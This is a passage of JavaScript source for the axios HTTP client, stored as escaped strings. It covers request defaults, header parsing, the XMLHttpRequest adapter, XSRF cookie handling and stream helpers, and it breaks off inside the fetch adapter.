JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isHeaders(header)) {\n for (const [key, value] of header.entries()) {\n setHeader(value, key, rewrite);\n }\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n const threshold = 1000 / freq;\n let timer = null;\n return function throttled() {\n const force = this === true;\n\n const now = Date.now();\n if (force || now - timestamp > threshold) {\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n timestamp = now;\n return fn.apply(null, arguments);\n }\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n timestamp = Date.now();\n return fn.apply(null, arguments);\n }, threshold - (now - timestamp));\n }\n };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null\n };\n\n data[isDownloadStream ? 'download' : 'upload'] = true;\n\n listener(data);\n }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n (function standardBrowserEnv() {\n const msie = /(msie|trident)/i.test(navigator.userAgent);\n const urlParsingNode = document.createElement('a');\n let originURL;\n\n /**\n * Parse a URL to discover its components\n *\n * @param {String} url The URL to be parsed\n * @returns {Object}\n */\n function resolveURL(url) {\n let href = url;\n\n if (msie) {\n // IE needs attribute set twice to normalize properties\n urlParsingNode.setAttribute('href', href);\n href = urlParsingNode.href;\n }\n\n urlParsingNode.setAttribute('href', href);\n\n // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n return {\n href: urlParsingNode.href,\n protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n host: urlParsingNode.host,\n search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n hostname: urlParsingNode.hostname,\n port: urlParsingNode.port,\n pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n urlParsingNode.pathname :\n '/' + urlParsingNode.pathname\n };\n }\n\n originURL = resolveURL(window.location.href);\n\n /**\n * Determine if a URL shares the same origin as the current location\n *\n * @param {String} requestURL The URL to test\n * @returns {boolean} True if URL shares the same origin, otherwise false\n */\n return function isURLSameOrigin(requestURL) {\n const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n return (parsed.protocol === originURL.protocol &&\n parsed.host === originURL.host);\n };\n })() :\n\n // Non standard browser envs (web workers, react-native) lack needed support.\n (function nonStandardBrowserEnv() {\n return function isURLSameOrigin() {\n return true;\n };\n })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n if (baseURL && !isAbsoluteURL(requestedURL)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType} = _config;\n let onCanceled;\n function done() {\n if (_config.cancelToken) {\n _config.cancelToken.unsubscribe(onCanceled);\n }\n\n if (_config.signal) {\n _config.signal.removeEventListener('abort', onCanceled);\n }\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n _config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (typeof _config.onDownloadProgress === 'function') {\n request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n }\n\n // Not all browsers support upload events\n if (typeof _config.onUploadProgress === 'function' && request.upload) {\n request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (cancel) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = cancel instanceof Error ? cancel : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal &&\n (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = unsubscribe;\n\n return [signal, () => {\n timer && clearTimeout(timer);\n timer = null;\n }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n for await (const chunk of iterable) {\n yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n const iterator = readBytes(stream, chunkSize, encode);\n\n let bytes = 0;\n\n return new ReadableStream({\n type: 'bytes',\n\n async pull(controller) {\n const {done, value} = await iterator.next();\n\n if (done) {\n controller.close();\n onFinish();\n return;\n }\n\n let len = value.byteLength;\n onProgress && onProgress(bytes += len);\n controller.enqueue(new Uint8Array(value));\n },\n cancel(reason) {\n onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n const lengthComputable = total != null;\n return (loaded) => setTimeout(() => fn({\n lengthComputable,\n total,\n loaded\n }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new 